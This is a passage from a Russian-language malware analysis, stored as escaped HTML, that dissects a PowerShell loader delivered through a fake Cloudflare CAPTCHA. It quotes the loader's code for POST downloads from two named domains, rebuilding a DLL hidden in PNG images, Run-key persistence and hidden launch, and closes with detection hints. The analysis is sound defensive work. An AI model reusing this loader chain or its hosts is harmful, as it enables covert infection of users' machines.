\u041d\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430.<\/p>\n
\u0412\u0442\u043e\u0440\u043e\u0439 PNG \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432:<\/p>\n
part1.tmp<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0442\u0440\u0435\u0442\u0438\u0439:<\/p>\n
part2.tmp<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u043e\u0431\u0430 \u0444\u0430\u0439\u043b\u0430:<\/p>\n
$part1Bytes = [System.IO.File]::ReadAllBytes($tempPart1)$part2Bytes = [System.IO.File]::ReadAllBytes($tempPart2)<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u0442:<\/p>\n
$combined = $part1Bytes + $part2Bytes<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0438\u0448\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n
[System.IO.File]::WriteAllBytes(    $fullDllPath,    $combined)<\/code>
<\/a><\/div><\/pre>\n
\u0410 $fullDllPath<\/code> \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430:<\/p>\n
dui70.dll<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u0441\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n
PNG #1  \u2193LockScreenContentServer.exePNG #2  \u2193part1.tmp       \\        +----> dui70.dll       \/PNG #3  \u2193part2.tmp<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u043c\u043d\u0435 \u044d\u0442\u0430 \u0447\u0430\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e. DLL \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u043d\u0430 \u0434\u0432\u0435 \u0447\u0430\u0441\u0442\u0438 \u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u043b\u0438 \u043a\u0430\u0436\u0434\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e AES \u043d\u0430 15 \u0442\u044b\u0441\u044f\u0447 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430.<\/p>\n
\u041f\u0440\u043e\u0441\u0442\u043e:<\/p>\n
\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u2192 \u0441\u043f\u0440\u044f\u0442\u0430\u043b\u0438 \u2192 \u0441\u043a\u0430\u0447\u0430\u043b\u0438 \u2192 \u0441\u043a\u043b\u0435\u0438\u043b\u0438.<\/strong><\/p>\n
\u0418\u043d\u043e\u0433\u0434\u0430 \u0441\u0430\u043c\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0432\u0435\u0449\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e.<\/p>\n
\u0412\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043e\u043b\u0433\u043e \u043d\u0435 \u0436\u0438\u0432\u0443\u0442<\/h2>\n
\u041f\u043e\u0441\u043b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 DLL \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:<\/p>\n
Remove-Item -Path $tempPart1 -ForceRemove-Item -Path $tempPart2 -Force<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u0441\u0430\u043c\u0438 PNG:<\/p>\n
Remove-Item -Path $fullImagePath1 -ForceRemove-Item -Path $fullImagePath2 -ForceRemove-Item -Path $fullImagePath3 -Force<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0435\u0441\u043b\u0438 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 PNG.<\/p>\n
\u0411\u044b\u043b\u043e:<\/p>\n
PNGPNGPNG<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0442\u043e\u043c:<\/p>\n
part1.tmppart2.tmp<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0442\u043e\u043c:<\/p>\n
dui70.dll<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0437\u0430\u0442\u0435\u043c \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438. \u0421\u043b\u0435\u0434\u043e\u0432 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u044c\u0448\u0435.<\/p>\n
\u0417\u0430\u0447\u0435\u043c \u043d\u0443\u0436\u0435\u043d \u0432\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043c\u0435\u043d<\/h2>\n
\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:<\/p>\n
function Download-WithFailover<\/code>
<\/a><\/div><\/pre>\n
\u0412\u043d\u0443\u0442\u0440\u0438:<\/p>\n
foreach ($domain in $contentDomains) {<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 \u043e\u0431\u0430 \u0434\u043e\u043c\u0435\u043d\u0430.<\/p>\n
\u0415\u0441\u043b\u0438 \u043f\u0435\u0440\u0432\u044b\u0439 \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442:<\/p>\n
catch {    Write-Log \"Download failed from $domain : $_\" \"WARNING\"}<\/code>
<\/a><\/div><\/pre>\n
\u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0434\u0451\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u0441\u0445\u0435\u043c\u0430:<\/p>\n
bestsocialmedianewspapper.com          |          | \u043e\u0448\u0438\u0431\u043a\u0430          vofflineupdater.com<\/code>
<\/a><\/div><\/pre>\n
\u042d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 failover.<\/p>\n
\u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0443\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0441\u0451 \u0435\u0449\u0451 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.<\/p>\n
\u0418 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u2014 POST<\/h2>\n
\u0414\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f:<\/p>\n
Invoke-WebRequest `    -Uri $url `    -OutFile $DestinationPath `    -Method POST<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0444\u0430\u0439\u043b \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP POST. \u0414\u043b\u044f \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440. GET \u0437\u0434\u0435\u0441\u044c \u0431\u044b\u043b \u0431\u044b \u0432\u043f\u043e\u043b\u043d\u0435 \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0430 \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u043c\u044b \u0432\u0438\u0434\u0438\u043c:<\/p>\n
PowerShell+POST+PNG+ProgramData+\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 EXE\/DLL<\/code>
<\/a><\/div><\/pre>\n
\u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.<\/p>\n
\u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u043f\u0430\u043f\u043a\u0443<\/h2>\n
\u041a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0433\u043e\u0442\u043e\u0432\u044b, \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442:<\/p>\n
attrib +h +s \"$fullFolderPath\"<\/code>
<\/a><\/div><\/pre>\n
\u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e.<\/p>\n
+h<\/code> \u2014 Hidden.<\/p>\n
+s<\/code> \u2014 System.<\/p>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e.<\/p>\n
\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n
C:\\ProgramData\\WindowsLogonKeyManager_x8k29asd<\/code>
<\/a><\/div><\/pre>\n
\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0443\u0436\u0435 \u043d\u0435 \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c.<\/p>\n
\u0425\u043e\u0442\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043e\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u044d\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043f\u0430\u0441\u0430\u0435\u0442.<\/p>\n
attrib<\/code> \u2014 \u043d\u0435 \u0432\u043e\u043b\u0448\u0435\u0431\u043d\u0430\u044f \u043a\u043d\u043e\u043f\u043a\u0430 \u00ab\u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u00bb.<\/p>\n
Persistence<\/h2>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u2014 \u043a\u0430\u043a \u0432\u0441\u0451 \u044d\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n
\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f:<\/p>\n
$regPath = \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0437\u0430\u0442\u0435\u043c:<\/p>\n
Set-ItemProperty `    -Path $regPath `    -Name $runName `    -Value $fullExePath<\/code>
<\/a><\/div><\/pre>\n
\u0418\u043c\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u0436\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e:<\/p>\n
$runName = $serviceName + \" \" + (Get-SecureRandomName -Length 8)<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f:<\/p>\n
Windows Logon Key Manager a82k91fd<\/code>
<\/a><\/div><\/pre>\n
\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u0443\u0442\u044c:<\/p>\n
C:\\ProgramData\\WindowsLogonKeyManager_xxxxxxxx\\LockScreenContentServer.exe<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0432\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e Windows Logon Key Manager<\/code> \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0440\u0430\u0441\u0438\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435.<\/p>\n
Windows Service \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.<\/strong><\/p>\n
\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u0447\u0435\u0440\u0435\u0437 Run<\/code>.<\/p>\n
\u0421\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a \u0442\u043e\u0436\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043f\u043e\u0442\u0438\u0448\u0435<\/h2>\n
\u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u043f\u0440\u0438\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f:<\/p>\n
cmd.exe<\/code>
<\/a><\/div><\/pre>\n
\u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c:<\/p>\n
\/c \"$fullExePath\"<\/code>
<\/a><\/div><\/pre>\n
\u041f\u0440\u0438 \u044d\u0442\u043e\u043c:<\/p>\n
$processInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden$processInfo.CreateNoWindow = $true<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f.<\/p>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n
powershell.exe      \u2193cmd.exe      \u2193LockScreenContentServer.exe<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0432\u0441\u0451 \u044d\u0442\u043e \u0431\u0435\u0437 \u043a\u0440\u0430\u0441\u0438\u0432\u043e\u0433\u043e \u0447\u0451\u0440\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0438 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430.<\/p>\n
\u0410 \u0437\u0430\u0447\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0432\u043e\u043e\u0431\u0449\u0435 \u043b\u043e\u0433?<\/h2>\n
\u0412\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u043b\u0441\u044f.<\/p>\n
\u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u0430\u043c \u043f\u0438\u0448\u0435\u0442 \u043b\u043e\u0433:<\/p>\n
Add-Content `    -Path \"$outputBasePath\\WindowsLogonKeyManager.log\" `    -Value $logEntry<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f:<\/p>\n
C:\\ProgramData\\WindowsLogonKeyManager.log<\/code>
<\/a><\/div><\/pre>\n
\u0422\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a.<\/p>\n
\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n
Initializing Windows Logon Key ManagerCreated working folderDownloading ...Extracting ...Combining parts ...Starting ...<\/code>
<\/a><\/div><\/pre>\n
\u0421 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u044d\u0442\u043e \u043b\u0438\u0448\u043d\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.<\/p>\n
\u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u2014 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0442\u0430\u043a\u043e\u0439 \u043b\u043e\u0433 \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u0435\u043d. \u042f \u0431\u044b \u0434\u0430\u0436\u0435 \u0441\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0430\u0432\u0442\u043e\u0440 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043c\u043e\u0433 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443.<\/p>\n
\u041d\u0435 \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u0435\u043d\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0441\u0430\u043c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u0435\u0431\u0435, \u0447\u0442\u043e \u043e\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b.<\/p>\n
\u0427\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c<\/h2>\n
\u0415\u0441\u043b\u0438 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043e\u0434\u043d\u0443 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n
\u0424\u0435\u0439\u043a\u043e\u0432\u0430\u044f Cloudflare CAPTCHA             |             v        PowerShell             |             +----------------------+             |                      |             v                      v  bestsocialmedianewspapper.com   offlineupdater.com             |                      |             +----------+-----------+                        |                  PNG #1 #2 #3                        |          +-------------+-------------+          |             |             |          v             v             v         EXE          part1         part2          |             \\             \/          |              \\           \/          |               +---------+          |                    |          |                 dui70.dll          |          vLockScreenContentServer.exe          |          +-- \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u0430\u043f\u043a\u0430          |          +-- HKCU\\...\\Run          |          +-- \u0437\u0430\u043f\u0443\u0441\u043a \u0431\u0435\u0437 \u043e\u043a\u043d\u0430          |          +-- \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 PNG \u0438 TMP<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0432\u043e\u0442 \u0447\u0442\u043e \u043c\u043d\u0435 \u0437\u0434\u0435\u0441\u044c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.<\/p>\n
\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043a\u043e\u0434 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439. \u0412 \u043d\u0451\u043c \u043d\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438, \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0445 Base64-\u0441\u0442\u0440\u043e\u043a \u0438\u043b\u0438 \u043a\u0438\u043b\u043e\u043c\u0435\u0442\u0440\u043e\u0432 PowerShell.<\/p>\n
\u041d\u043e \u0430\u0432\u0442\u043e\u0440 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0449\u0435\u0439 \u0432 \u043e\u0434\u043d\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0443:<\/p>\n
PNG \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430, \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 DLL \u043d\u0430 \u0434\u0432\u0435 \u0447\u0430\u0441\u0442\u0438, \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432, \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 <\/strong>Hidden + System<\/strong><\/code>, \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u0447\u0435\u0440\u0435\u0437 <\/strong>Run<\/strong><\/code> \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0431\u0435\u0437 \u043e\u043a\u043d\u0430.<\/strong><\/p>\n
\u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0438\u0451\u043c \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439.<\/p>\n
\u0410 \u0432\u043c\u0435\u0441\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u0432\u043f\u043e\u043b\u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a.<\/p>\n
\u0427\u0442\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435<\/h2>\n
\u0415\u0441\u043b\u0438 \u0431\u044b \u044f \u0438\u0441\u043a\u0430\u043b \u043f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0432 EDR \u0438\u043b\u0438 Windows-\u043b\u043e\u0433\u0430\u0445, \u0442\u043e \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0431\u044b \u043d\u0430 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e \u0441\u043e\u0431\u044b\u0442\u0438\u0439.<\/p>\n
\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n
powershell.exe    \u2193Invoke-WebRequest    \u2193HTTPS POST    \u2193PNG \u0432 C:\\ProgramData    \u2193System.Drawing.Bitmap    \u2193\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 .exe \/ .dll    \u2193HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run    \u2193cmd.exe    \u2193\u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e EXE<\/code>
<\/a><\/div><\/pre>\n
